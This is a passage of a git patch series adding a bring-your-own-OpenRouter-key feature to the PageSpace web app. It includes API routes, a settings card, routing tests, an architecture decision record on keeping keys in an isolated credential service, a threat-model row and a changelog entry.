})); + const text = await response.text(); + expect([response.status, text.includes(CANARY), JSON.parse(text).error]).toEqual([400, false, 'key_invalid']); + }); +}); + +describe('GET /api/user/model-key', () => { + it('given an enabled person with a key, should show its metadata only', async () => { + mockAuthority.getModelKey.mockResolvedValue(account); + const body = await (await GET(req('GET'))).json(); + expect(body).toEqual({ enabled: true, available: true, key: { id: 'acct_mk', createdAt: 1, lastUsedAt: null, status: 'active' } }); + }); + + it('given a person the admin has not enabled, should say so and read nothing', async () => { + mockFlag.mockResolvedValue(false); + const body = await (await GET(req('GET'))).json(); + expect([body, mockAuthority.getModelKey.mock.calls.length]).toEqual([{ enabled: false, available: true, key: null }, 0]); + }); +}); + +describe('DELETE /api/user/model-key', () => { + it('given the flag switched off since, should still let the person remove their key', async () => { + mockFlag.mockResolvedValue(false); + mockAuthority.removeModelKey.mockResolvedValue({ ok: true, account: null }); + const response = await DELETE(req('DELETE')); + expect([response.status, mockAuthority.removeModelKey.mock.calls.length]).toEqual([200, 1]); + }); +}); diff --git a/apps/web/src/app/api/user/model-key/route.ts b/apps/web/src/app/api/user/model-key/route.ts new file mode 100644 index 0000000000..e332a288cd --- /dev/null +++ b/apps/web/src/app/api/user/model-key/route.ts @@ -0,0 +1,85 @@ +import { NextResponse } from 'next/server'; +import { z } from 'zod'; +import { authenticateRequestWithOptions, isAuthError } from '@/lib/auth'; +import { loggers } from '@pagespace/lib/logging/logger-config'; +import { auditRequest } from '@pagespace/lib/audit/audit-log'; +import { isOnPrem } from '@pagespace/lib/deployment-mode'; +import { isFeatureEnabled } from '@pagespace/lib/feature-flags/feature-flag-repository'; +import type { SafeAccount } from '@pagespace/lib/agent-accounts/to-safe-account'; +import { getAccountAuthority } from '@/lib/agent-accounts/account-authority-client'; +import { actorFromAuth } from '@/lib/auth/request-actor'; + +const AUTH_OPTIONS_READ = { allow: ['session'] as const }; +const AUTH_OPTIONS_WRITE = { allow: ['session'] as const, requireCSRF: true }; + +/** The key itself is validated by the authority; this only bounds what is read from the request. */ +const setModelKeyBody = z.object({ apiKey: z.string().min(1).max(600) }).strict(); + +/** What the settings card may show: never the key, never a fragment of it. */ +function shownKey(account: SafeAccount | null) { + return account === null ? null : { id: account.id, createdAt: account.createdAt, lastUsedAt: account.lastUsedAt, status: account.status }; +} + +/** + * GET /api/user/model-key — whether the person may bring their own OpenRouter key (ADR 0009), whether this + * deployment can use one, and their key's metadata. + */ +export async function GET(request: Request) { + const auth = await authenticateRequestWithOptions(request, AUTH_OPTIONS_READ); + if (isAuthError(auth)) return auth.error; + const enabled = isOnPrem() ? false : await isFeatureEnabled('byok_model_key', auth.userId).catch(() => false); + const authority = getAccountAuthority(); + if (!enabled || authority === null) return NextResponse.json({ enabled, available: authority !== null, key: null }); + try { + const key = await authority.getModelKey({ actor: actorFromAuth(auth) }); + return NextResponse.json({ enabled, available: true, key: shownKey(key) }); + } catch (error) { + loggers.api.error('Error reading model key', error as Error); + return NextResponse.json({ error: 'Failed to read model key' }, { status: 500 }); + } +} + +/** + * PUT /api/user/model-key — store a new OpenRouter key. It goes to the credential plane once (write-only) and is + * never returned; any previous key is revoked. + */ +export async function PUT(request: Request) { + const auth = await authenticateRequestWithOptions(request, AUTH_OPTIONS_WRITE); + if (isAuthError(auth)) return auth.error; + if (isOnPrem() || !(await isFeatureEnabled('byok_model_key', auth.userId).catch(() => false))) return NextResponse.json({ error: 'not_enabled' }, { status: 403 }); + const authority = getAccountAuthority(); + if (authority === null) return NextResponse.json({ error: 'not_configured' }, { status: 503 }); + + const parsed = setModelKeyBody.safeParse(await request.json().catch(() => null)); + if (!parsed.success) return NextResponse.json({ error: 'key_invalid' }, { status: 400 }); + + try { + const result = await authority.setModelKey({ actor: actorFromAuth(auth), apiKey: parsed.data.apiKey }); + if (!result.ok) return NextResponse.json({ error: result.reason }, { status: result.reason === 'key_invalid' ? 400 : 503 }); + auditRequest(request, { eventType: 'auth.token.created', userId: auth.userId, resourceType: 'agent_account', resourceId: result.account?.id ?? 'model_key' }); + return NextResponse.json({ key: shownKey(result.account) }, { status: 201 }); + } catch (error) { + loggers.api.error('Error storing model key', error as Error); + return NextResponse.json({ error: 'Failed to store model key' }, { status: 500 }); + } +} + +/** + * DELETE /api/user/model-key — revoke the person's key; their calls go back to PageSpace's key. Allowed even + * after the flag was switched off, so a key can always be removed. + */ +export async function DELETE(request: Request) { + const auth = await authenticateRequestWithOptions(request, AUTH_OPTIONS_WRITE); + if (isAuthError(auth)) return auth.error; + const authority = getAccountAuthority(); + if (authority === null) return NextResponse.json({ error: 'not_configured' }, { status: 503 }); + try { + const result = await authority.removeModelKey({ actor: actorFromAuth(auth) }); + if (!result.ok) return NextResponse.json({ error: result.reason }, { status: 503 }); + auditRequest(request, { eventType: 'auth.token.revoked', userId: auth.userId, resourceType: 'agent_account', resourceId: 'model_key' }); + return NextResponse.json({ key: null }); + } catch (error) { + loggers.api.error('Error removing model key', error as Error); + return NextResponse.json({ error: 'Failed to remove model key' }, { status: 500 }); + } +} diff --git a/apps/web/src/app/settings/ai/ModelKeyCard.tsx b/apps/web/src/app/settings/ai/ModelKeyCard.tsx new file mode 100644 index 0000000000..a8e2e04bfe --- /dev/null +++ b/apps/web/src/app/settings/ai/ModelKeyCard.tsx @@ -0,0 +1,149 @@ +'use client'; + +/** + * "Use your own OpenRouter key" (ADR 0009). Shown only to people an admin enabled. The key is sent once to + * the credential plane and never shown again: this card knows only whether a key is set and when it was + * last used. Calls in org drives always use PageSpace's key, which the copy says plainly. + */ +import { useEffect, useId, useState } from 'react'; +import { toast } from 'sonner'; +import { KeyRound, ShieldCheck } from 'lucide-react'; +import { Button } from '@/components/ui/button'; +import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card'; +import { Input } from '@/components/ui/input'; +import { Label } from '@/components/ui/label'; +import { Badge } from '@/components/ui/badge'; +import { ApiRequestError, del, fetchWithAuth, put } from '@/lib/auth/auth-fetch'; +import { useEditingStore } from '@/stores/useEditingStore'; + +type ShownKey = { readonly id: string; readonly createdAt: number; readonly lastUsedAt: number | null; readonly status: string }; +type ModelKeyState = { readonly enabled: boolean; readonly available: boolean; readonly key: ShownKey | null }; + +const ERROR_COPY: Record = { + key_invalid: 'That does not look like an OpenRouter key. It starts with "sk-or-".', + not_enabled: 'Bringing your own key is not switched on for your account.', + not_configured: 'This deployment cannot store keys right now.', + plane_unavailable: 'Your key could not be stored right now. Try again in a moment.', + store_refused: 'Your key could not be stored. Try again in a moment.', +}; + +const formatTime = (ms: number | null) => (ms === null ? 'never' : new Date(ms).toLocaleString()); + +export function ModelKeyCard() { + const [state, setState] = useState(null); + const [draft, setDraft] = useState(''); + const [saving, setSaving] = useState(false); + const inputId = useId(); + const componentId = useId(); + + useEffect(() => { + let cancelled = false; + (async () => { + try { + const response = await fetchWithAuth('/api/user/model-key'); + if (!response.ok) throw new Error(String(response.status)); + const json = (await response.json()) as ModelKeyState; + if (!cancelled) setState(json); + } catch { + if (!cancelled) setState({ enabled: false, available: false, key: null }); + } + })(); + return () => { + cancelled = true; + }; + }, []); + + // A half-typed key is unsaved input: keep SWR refreshes and auth refreshes from interrupting it. + useEffect(() => { + if (draft.length > 0) useEditingStore.getState().startEditing(componentId, 'form'); + else useEditingStore.getState().endEditing(componentId); + return () => useEditingStore.getState().endEditing(componentId); + }, [draft, componentId]); + + if (state === null || !state.enabled) return null; + + async function save() { + setSaving(true); + try { + const result = await put<{ key: ShownKey }>('/api/user/model-key', { apiKey: draft }); + setState((current) => (current === null ? current : { ...current, key: result.key })); + setDraft(''); + toast.success('Your OpenRouter key is saved. Your model calls now run on it.'); + } catch (error) { + const reason = error instanceof ApiRequestError ? (error.body as { error?: string } | undefined)?.error : undefined; + toast.error(ERROR_COPY[reason ?? ''] ?? 'Your key could not be saved.'); + } finally { + setSaving(false); + } + } + + async function remove() { + setSaving(true); + try { + await del('/api/user/model-key'); + setState((current) => (current === null ? current : { ...current, key: null })); + toast.success('Your key is removed from PageSpace. It still works at OpenRouter until you revoke it there.'); + } catch { + toast.error('Your key could not be removed right now.'); + } finally { + setSaving(false); + } + } + + return ( + + + + + Use your own OpenRouter key + Preview + + + Your own model calls run on your OpenRouter key and are not charged PageSpace credits. Calls in an organization's drives always use PageSpace's key. + + + +
+ +

+ PageSpace never stores your key. It goes straight to an isolated credential service, is added to each request there, and can never be read back, by PageSpace or by an agent. For safety, create a separate key for PageSpace with a credit limit in your OpenRouter settings. +

+
+ + {!state.available ? ( +

This deployment cannot use your own key right now.

+ ) : state.key ? ( +
+
+

OpenRouter key set

+

+ Added {formatTime(state.key.createdAt)} · last used {formatTime(state.key.lastUsedAt)} +

+
+ +
+ ) : null} + + {state.available && ( +
{ + event.preventDefault(); + if (draft.trim().length > 0) void save(); + }} + > + +
+ setDraft(event.target.value)} disabled={saving} /> + +
+
+ )} +
+
+ ); +} diff --git a/apps/web/src/app/settings/ai/page.tsx b/apps/web/src/app/settings/ai/page.tsx index 4a547cc202..7cf84919e8 100644 --- a/apps/web/src/app/settings/ai/page.tsx +++ b/apps/web/src/app/settings/ai/page.tsx @@ -9,6 +9,7 @@ import { toast } from 'sonner'; import { useRouter } from 'next/navigation'; import { fetchWithAuth } from '@/lib/auth/auth-fetch'; import { ImageGenerationCard } from './ImageGenerationCard'; +import { ModelKeyCard } from './ModelKeyCard'; interface ProviderAvailability { isAvailable: boolean; @@ -92,6 +93,8 @@ export default function AiSettingsPage() { + + ); From 4d2755f472bf4fa657d8976fe793e7eceaccb286 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 19:57:36 -0600 Subject: [PATCH 06/35] docs(byok): ADR 0009 (model keys through the credential plane), threat-model residency row, changelog; routing tests (BYOK-1, BYOK-11) Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- CHANGELOG.md | 7 ++ .../core/__tests__/model-key-source.test.ts | 29 +++++++ .../__tests__/plane-inference-fetch.test.ts | 44 ++++++++++ ...model-keys-through-the-credential-plane.md | 85 +++++++++++++++++++ docs/security/agent-accounts-threat-model.md | 1 + 5 files changed, 166 insertions(+) create mode 100644 apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts create mode 100644 apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts create mode 100644 docs/adr/0009-model-keys-through-the-credential-plane.md diff --git a/CHANGELOG.md b/CHANGELOG.md index d55998f8a2..0c8f159103 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,13 @@ All notable user-facing changes to PageSpace are documented here. Format follows ## [Unreleased] +- **Preview: bring your own OpenRouter key.** An admin can now turn this on for specific people in Admin → Feature Flags. Those people get a "Use your own OpenRouter key" card in Settings → AI. + - **Your own model calls run on your key and cost no PageSpace credits.** That covers chat, the global assistant, side questions, agent-to-agent calls, images and your automations. Pro-tier models are available on your key whatever your plan. + - **PageSpace never stores your key.** It goes once to an isolated credential service, is added to each request there, and is removed from anything that comes back. It can never be read back by PageSpace or by an agent, and agents cannot use it as a tool. + - **Calls in an organization's drives always use PageSpace's key**, so an org's content is never sent through a personal OpenRouter account. + - **If your key can't be used, the call stops with a message.** It never quietly switches to PageSpace's key. Usage on your key is capped at 1,200 calls an hour. For safety, create a separate OpenRouter key with a credit limit. + - Removing the key in Settings takes it out of PageSpace. It keeps working at OpenRouter until you revoke it there. + - **Imago: the message box floats over the chat, as it does in classic PageSpace.** There is no longer a ruled strip along the bottom of the chat. The box sits on its own card, and messages scroll up underneath it; the last message always stops just above it. - **Imago on phones has a warmer, calmer look.** Screens sit on a soft stone background instead of stark white, and things are set apart by gentle shadows instead of thin lines. - **No line under the top bar.** Ask and the chat's agent picker are now raised pills. diff --git a/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts new file mode 100644 index 0000000000..5ff93a2edb --- /dev/null +++ b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts @@ -0,0 +1,29 @@ +import { describe, it, expect } from 'vitest'; +import { decideModelKeySource, isBilledKeySource } from '../model-key-source'; + +const base = { onPrem: false, backend: 'openrouter', flagEnabled: true, hasModelKey: true, orgGoverned: false, planeConfigured: true }; + +describe('decideModelKeySource', () => { + it('given an enabled person with a key, on OpenRouter, outside any org, should use their key', () => { + expect(decideModelKeySource(base)).toEqual({ source: 'user_key' }); + }); + + it('given the flag off, no key, a non-OpenRouter provider or on-prem, should use PageSpace\'s key exactly as before', () => { + const actual = [{ flagEnabled: false }, { hasModelKey: false }, { backend: 'glm' }, { backend: 'ollama' }, { onPrem: true }].map((change) => decideModelKeySource({ ...base, ...change }).source); + expect(actual).toEqual(['managed', 'managed', 'managed', 'managed', 'managed']); + }); + + it('given a call an org governs (its drive or its content), should use PageSpace\'s key, never the person\'s', () => { + expect(decideModelKeySource({ ...base, orgGoverned: true })).toEqual({ source: 'managed' }); + }); + + it('given a call that would use the person\'s key but no credential plane, should refuse rather than run on PageSpace\'s key', () => { + expect(decideModelKeySource({ ...base, planeConfigured: false })).toEqual({ source: 'refused', reason: 'byok_unavailable' }); + }); +}); + +describe('isBilledKeySource', () => { + it('given the person\'s own key, should not bill; anything else, should', () => { + expect([isBilledKeySource('user_key'), isBilledKeySource('managed'), isBilledKeySource(undefined)]).toEqual([false, true, true]); + }); +}); diff --git a/apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts b/apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts new file mode 100644 index 0000000000..8751a47de0 --- /dev/null +++ b/apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts @@ -0,0 +1,44 @@ +/** + * The plane-backed fetch (ADR 0009). Pinned: it holds no key, sends only the pinned chat-completions URL + * through the authority with the exact body, and answers every refusal itself — never by reaching any + * other key or endpoint. + */ +import { describe, it, expect, vi } from 'vitest'; +import type { AccountAuthority } from '@pagespace/lib/agent-accounts/account-authority-executor'; +import { createPlaneInferenceFetch } from '../plane-inference-fetch'; + +const context = { userId: 'user_1', sessionId: 'sess_1', conversationId: 'conv_1', runId: 'run_1' }; +const body = JSON.stringify({ model: 'openai/gpt-5.5', messages: [] }); +const authorityWith = (requestInference: AccountAuthority['requestInference']) => ({ requestInference }) as unknown as AccountAuthority; + +describe('createPlaneInferenceFetch', () => { + it('given a chat-completions request, should send the exact body for this person and return OpenRouter\'s answer', async () => { + const requestInference = vi.fn(async () => ({ ok: true as const, response: new Response('data: [DONE]\n\n', { status: 200, headers: { 'content-type': 'text/event-stream' } }) })); + const planeFetch = createPlaneInferenceFetch({ authority: authorityWith(requestInference), context }); + const response = await planeFetch('https://openrouter.ai/api/v1/chat/completions', { method: 'POST', body, headers: { authorization: 'Bearer held-by-the-credential-plane' } }); + expect({ status: response.status, text: await response.text(), call: requestInference.mock.calls[0]?.[0] }).toEqual({ + status: 200, + text: 'data: [DONE]\n\n', + call: { caller: { userId: 'user_1', sessionId: 'sess_1', conversationId: 'conv_1', runId: 'run_1' }, body, signal: undefined }, + }); + }); + + it('given any other URL, should refuse without asking the plane', async () => { + const requestInference = vi.fn(); + const planeFetch = createPlaneInferenceFetch({ authority: authorityWith(requestInference), context }); + const response = await planeFetch('https://openrouter.ai/api/v1/auth/keys', { method: 'POST', body }); + expect([response.status, requestInference.mock.calls.length]).toEqual([400, 0]); + }); + + it('given a refusal from the plane, should answer an OpenRouter-shaped error the person can read', async () => { + const planeFetch = createPlaneInferenceFetch({ authority: authorityWith(async () => ({ ok: false as const, reason: 'limits_exceeded' as const })), context }); + const response = await planeFetch('https://openrouter.ai/api/v1/chat/completions', { method: 'POST', body }); + const json = (await response.json()) as { error: { message: string; metadata: { byok: string } } }; + expect([response.status, json.error.metadata.byok, json.error.message.includes('limit')]).toEqual([429, 'limits_exceeded', true]); + }); + + it('given no credential plane at all, should refuse and never send anything', async () => { + const response = await createPlaneInferenceFetch({ authority: null, context })('https://openrouter.ai/api/v1/chat/completions', { method: 'POST', body }); + expect(response.status).toBe(503); + }); +}); diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md new file mode 100644 index 0000000000..58cf2e6a63 --- /dev/null +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -0,0 +1,85 @@ +# ADR 0009 — A person's own model key, through the credential plane + +- **Status:** Accepted (preview; behind the `byok_model_key` feature flag, off for everyone until an admin enables it) +- **Date:** 2026-11-29 +- **Deciders:** Jono (owner), 2026-11-29: "a feature flag in PageSpace admin where I can let people set their own API key — but I don't want to store the key myself … we have agent credentials now, we can use that … the zero-trust-compliant way". +- **Related:** ADR 0004 (agent account authority: the grant, approvals, delegations), ADR 0005 (credential plane: the store, the executors, the deploy topology), threat model `docs/security/agent-accounts-threat-model.md`. PR #1191 retired the old BYOK, which stored keys encrypted in the main DB (`user_ai_settings`); this ADR brings the feature back without storing the key in the main DB or in the web process. +- **Plan:** `Plans/BYOK/Plan — BYOK` (`v9nj6qhih7zl510vcbtnhlkt`), task codes BYOK-1..12. + +## Question + +How can a person pay for their own model calls with their own OpenRouter key, when PageSpace must never hold that key in the main DB or the web process, and the calls are made server-side, stream for minutes, take many steps per turn and may run with nobody present (workflows, crons, agent-to-agent)? + +The options: + +- **(a)** Keep the key in the browser and send it with each request. Rejected. It is readable by any XSS, it passes through the web process on every call, and an unattended run has no browser to send it. +- **(b)** Use the plane's existing `/v1/http/execute`. Rejected. It is a buffered one-shot request: 20 s, 2 MiB, and a 256 KiB release cap. A model step is a stream. +- **(c)** A sixth presenter, `inference-executor`, inside the credential plane, which streams one model call per grant. **Chosen.** + +## Decision + +1. **A model key is an agent account.** It is a user-owned `api_key` account with the reserved `providerSlug` `openrouter-model-key`, pinned to `https://openrouter.ai:443`. The plane stores it with an ingress `put` (write-only). No main-DB column, web variable or response carries it. +2. **It is never an agent's tool.** `authorize` (http_request) refuses it as `kind_not_supported`, `listAccounts` hides it, and `changeable` refuses every edit, binding and delegation on it. Only `setModelKey`, `removeModelKey` and `authorizeInference` touch it. +3. **New presenter `inference-executor`.** + - It resolves `api_key` only, and `api_key` reaches no executor besides HTTP and relay. + - Its method set is `POST`. Generic canonicalization refuses it, the same way `ssh-executor` is handled. The executor also refuses any account that is not a model key (`kind_not_resolvable`). +4. **One grant per upstream request.** + - `authorizeInference` canonicalizes the exact body text: `POST /api/v1/chat/completions`, `content-type: application/json`, the SHA-256 of the body bytes, and `model` bound as a resource. It issues a one-use grant of at most 60 s, with `agentPageId: null` and `callerCeiling` empty. + - The plane recomputes the digest over the body it actually received, so a body changed in between is `digest_mismatch` and nothing is sent. + - The key belongs to the person's model calls, not to an agent page. A scoped token limits which drives a caller can reach, not whose key pays. +5. **The human.** + - A live session stands for the person. + - When nobody is present, a delegation does, written when the key is added: `agentPageId: null`, scope = this origin and this operation only, 365 days. That covers every unattended run the person owns: workflows, crons, agent-to-agent and compaction. No ADR 0004 shape changes: a delegation with `agentPageId: null` already existed for the global assistant. +6. **Approval is a bounded policy.** + - Operation `{ class: 'write', name: 'openrouter.chat_completion' }`: it spends money but is neither irreversible nor privileged. + - Trigger `irreversible_only`, with limits of 1,200 uses an hour, 1 GiB of request bytes an hour and 12 concurrent calls. + - The person never sees an approval card. A ceiling is a refusal (`limits_exceeded`), never a prompt. +7. **The stream.** The route is `/v1/inference/stream`. Steps: + 1. Verify the HMAC on the plane call. + 2. Parse the grant. + 3. Gather the facts: the main-DB row, the delegation, and the plane's `describe`. The pinned origin must be OpenRouter, read from the plane, never from the row. + 4. Pass the grant gate: verify the grant and consume its one-use nonce. + 5. Reserve usage. + 6. Audit `allowed`. + 7. `resolve` the key and send over pinned-address HTTPS to `openrouter.ai`, with no redirects, no upgrades, `accept-encoding: identity`, 10 min and 64 MiB. + 8. Stream back. The key is removed from every byte in its raw and `Bearer` forms, safely across chunk boundaries. Only `content-type` (`text/event-stream` or `application/json`) and OpenRouter's status are released. + 9. Record the outcome (`executed` or `unknown`) when the stream ends. + + If the web process disconnects, the upstream call is cancelled. +8. **One decision about whose key runs (web).** `decideModelKeySource` returns `user_key` only when every one of these holds: + - the deployment is not on-prem; + - the backend is OpenRouter; + - the flag is on for the person; + - the person has an active model key; + - **no org governs the call or its content**. + + Otherwise it returns `managed`. If the plane is not configured it returns `refused` (`byok_unavailable`). The credit gate, the provider factory and billing all act on that one decision. +9. **No silent fallback.** On `user_key`, the provider is OpenRouter with a plane-backed `fetch` and no key. Every refusal is answered as an OpenRouter-shaped error the person reads in chat. Nothing routes from there to PageSpace's key, and `OPENROUTER_BASE_URL` never applies. +10. **Billing.** + - A `user_key` call takes no credit hold and lifts the pro-tier model gate. The admin-only provider gate and org allowlists still apply. + - `ai_usage_logs.key_source = 'user_key'` is recorded, and the call is never settled, reconciled (`cost-reconcile`) or re-settled by the orphan sweep (`credit-backfill`). +11. **Feature flag.** + - `feature_flags` holds a flag's default and `feature_flag_user_overrides` holds per-person settings. The keys are fixed in code (`FEATURE_FLAG_KEYS`). + - A flag nobody set is off. `byok_model_key` is off on-prem whatever is set. + - Admins change flags in Admin → Feature Flags (audited `admin.settings.changed`). + +## Invariants (each is a test) + +| # | Invariant | Test | +|---|---|---| +| I1 | The key is never in the main DB, the web process or a response | `model-key/__tests__/route.test.ts` (canary), e2e canary sweep | +| I2 | One grant per upstream request; replay, changed body and other run are refused before sending | `executor/__tests__/inference-executor.test.ts` | +| I3 | Only `https://openrouter.ai:443/api/v1/chat/completions`, read from the plane's binding | `inference-executor.test.ts`, `authorize-inference.test.ts`, `plane-inference-fetch.test.ts` | +| I4 | The key is scrubbed from the stream, including when split across chunks | `inference/__tests__/stream-scrubber.test.ts`, e2e | +| I5 | Audit `allowed` before send, outcome after the stream | `inference-executor.test.ts` | +| I6 | Org-governed calls never use a person's key | `model-key-source.test.ts` | +| I7 | A user-key call is never retried on PageSpace's key | `model-key-source.test.ts`, `plane-inference-fetch.test.ts` | +| I8 | Spend is bounded (hourly and concurrent ceilings refuse) | `model-key.test.ts`, `authorize-inference.test.ts`, `inference-executor.test.ts` | + +## Consequences + +- A person's OpenRouter account sees the content of their own calls. That is the point. It is why I6 keeps org content off it. +- The plane is now in the token path for these people. When it is unavailable, their calls fail with a clear message, and PageSpace's key is not used. +- Each agent step costs one grant, one nonce write, one `describe`, one Infisical `resolve` and two audit rows. Q2 in the plan asks whether to cache the resolved key for the grant's TTL. The default is no cache, measured on staging. +- Voice (direct OpenAI) is out of scope. It keeps PageSpace's key and billing. +- A per-org "let members use their own keys" policy is a later slice. I6 is unconditional until then. diff --git a/docs/security/agent-accounts-threat-model.md b/docs/security/agent-accounts-threat-model.md index 29a37d6190..8e4444a448 100644 --- a/docs/security/agent-accounts-threat-model.md +++ b/docs/security/agent-accounts-threat-model.md @@ -97,6 +97,7 @@ Main-DB integrity is a stated dependency: authorization reads mutable rows (owne | OAuth authorization code + PKCE verifier | the plane's OAuth handler (`integrations/oauth/oauth-handler.ts` moved behind the plane in G3); the code transits the browser redirect | until exchanged or expired (10 min, `oauth-state.ts`) | the model, the sandbox, logs | | OAuth refresh token / client secret | the store; the **one** restricted refresh worker (ADR 0005 §5) | the refresh operation; no broker-wide cache | the HTTP executor and relay runner (they receive `OAuth2AccessMaterial`, which has no `refreshToken` field — ADR 0005 §4.2), Next.js, any second store (Λ5, D-24) | | Access token / API key at use | the store; the assigned HTTP executor for one request | request duration; a cache, if any, is per `(accountId, credentialVersion)` with a documented TTL ≤ grant lifetime | sandbox env/argv/files (Λ1 today — accepted D-23, retired L4), git credential helpers, response bodies returned to the model | +| A person's own model key (ADR 0009) | the user's browser on the Settings → AI form; `/api/user/model-key` (PUT) on its way to the plane's ingress `put`; the store; the **inference executor** for one streamed model call | the submission request; then one request per grant (≤ 60 s grant, ≤ 10 min stream); no cache | the main DB, the web process outside that one request, any response, the released stream (scrubbed raw and as `Bearer …`, split-chunk safe), tool results, chat messages, audit rows, every other executor (`http_request` refuses a model key) | | Session state (cookies, storage-state) | the store (kind `session`, declared format S3 §5); the isolated browser worker's ephemeral context; the HTTP executor only under the default-off `session_http` permission via `resolveSessionOverHttp` (ADR 0005 §4.2) | active browser session or single request; the persistent copy is store ciphertext | the agent Sprite, Sprite checkpoints (browser holder excluded from `checkpoint-policy.ts`), screenshots/a11y snapshots during login | | Human-typed password / MFA (D-20) | the human's client during enrollment; the store (kind `password`); the **browser-fill executor** inside the browser worker (L5c) | fill operation with observation blackout; then store ciphertext | the HTTP executor (a `password` kind is *unresolvable* there by type, ADR 0005 §4), the model, DOM read-back after fill, recordings | | TOTP secret | the store (part of kind `password`); the browser worker computing one code | code generation only | anywhere else; the code itself is never returned to the model | From ffe28448a0658c47c91557f4a343dda95f77b922 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 19:59:37 -0600 Subject: [PATCH 07/35] test(seams): ledger the inference executor's caller-ceiling read (it only narrows) Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- packages/lib/src/__tests__/seams/key-scope-reads.seam.test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/packages/lib/src/__tests__/seams/key-scope-reads.seam.test.ts b/packages/lib/src/__tests__/seams/key-scope-reads.seam.test.ts index de4c5146bc..cc43967a75 100644 --- a/packages/lib/src/__tests__/seams/key-scope-reads.seam.test.ts +++ b/packages/lib/src/__tests__/seams/key-scope-reads.seam.test.ts @@ -206,6 +206,7 @@ const KEY_SCOPE_READ_LEDGER: Readonly> = { 'packages/lib/src/agent-accounts/executor/expected-binding-for.ts#expectedBindingFor': AGENT_ACCOUNTS, 'packages/lib/src/agent-accounts/executor/http-request-executor.ts#execute': AGENT_ACCOUNTS, 'packages/lib/src/agent-accounts/executor/ssh-command-executor.ts#execute': AGENT_ACCOUNTS, + 'packages/lib/src/agent-accounts/executor/inference-executor.ts#execute': AGENT_ACCOUNTS, 'packages/lib/src/permissions/decide-account-access.ts#decideAccountAccess': AGENT_ACCOUNTS, 'apps/web/src/lib/repositories/session-repository.ts#run': notAccess( "the key's own mint / re-scope transaction. Settings routes bound the scope by validateDriveScopeAccess (the owner's live access, scopeWidensCaller); the OAuth path (applyKeyGrant) by checkGrantAuthority at consent, which is weaker (no scopeWidensCaller), and resolution intersects with the owner's current access either way", From 7a14e8b66aff33cb90b3030877311f77bc3b37db Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 20:09:37 -0600 Subject: [PATCH 08/35] feat(billing): one key-source decision at every model-call surface (BYOK-7, BYOK-10) Global assistant, btw, consult, /v1/chat/completions, ask_agent, compaction, memory, workflows, Zoom, pulse and channel mentions decide once whose key runs (before their credit gate where the drive is known), skip the hold on the person's own key, lift the pro-tier gate, and pass keySource to trackUsage. A key is only ever the FUNDER's: when someone else pays (a manual Run's presser, a drive wallet) the call stays on PageSpace's key. Left on the old path, and still correct (the hold is released at settle): workflow/trigger credit gates and pulse, which gate before the providers and content drives are known. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- .../api/ai/btw/__tests__/credit-gate.test.ts | 5 ++ .../app/api/ai/btw/__tests__/route.test.ts | 5 ++ apps/web/src/app/api/ai/btw/route.ts | 18 +++++- .../messages/__tests__/credit-gate.test.ts | 64 ++++++++++++++++++- .../__tests__/conversation-continuity.test.ts | 5 ++ .../conversation-listing-index.test.ts | 5 ++ .../consult/__tests__/credit-gate.test.ts | 20 +++++- .../mcp-scope-tool-filtering.test.ts | 5 ++ .../new-conversation-history.test.ts | 5 ++ .../consult/__tests__/sandbox-switch.test.ts | 5 ++ .../consult/__tests__/step-cap-parity.test.ts | 5 ++ .../app/api/ai/page-agents/consult/route.ts | 33 ++++++++-- apps/web/src/app/api/pulse/cron/route.ts | 4 ++ apps/web/src/app/api/pulse/generate/route.ts | 4 ++ .../chat/completions/__tests__/route.test.ts | 13 +++- .../src/app/api/v1/chat/completions/route.ts | 13 +++- .../lib/ai/chat-pipeline/global-chat-turn.ts | 17 ++++- .../__tests__/plane-inference-fetch.test.ts | 2 +- .../ai/core/compaction/compaction-service.ts | 13 +++- .../__tests__/image-generation-tools.test.ts | 9 ++- .../lib/ai/tools/agent-communication-tools.ts | 30 +++++++-- .../__tests__/agent-mention-responder.test.ts | 3 +- .../lib/channels/agent-mention-responder.ts | 11 +++- .../src/lib/channels/mention-credit-gate.ts | 21 +++++- .../integrations/zoom/extract-action-items.ts | 7 +- .../lib/integrations/zoom/generate-summary.ts | 7 +- apps/web/src/lib/memory/compaction-service.ts | 2 + apps/web/src/lib/memory/discovery-service.ts | 2 + .../web/src/lib/memory/integration-service.ts | 2 + apps/web/src/lib/memory/memory-credit.ts | 10 ++- .../src/lib/workflows/workflow-executor.ts | 10 ++- 31 files changed, 322 insertions(+), 33 deletions(-) diff --git a/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts index 68aa94f39c..a97ad8cd66 100644 --- a/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts @@ -61,6 +61,11 @@ vi.mock('@pagespace/db/db', () => ({ vi.mock('@pagespace/lib/permissions/conversation-access', () => ({ canAccessConversation: mocks.access })); vi.mock('@/lib/repositories/message-repository', () => ({ messageRepository: { getMessagesByConversationId: mocks.messages } })); vi.mock('@/lib/ai/core/plan-binding', () => ({ getActivePlan: mocks.plan })); +// BYOK 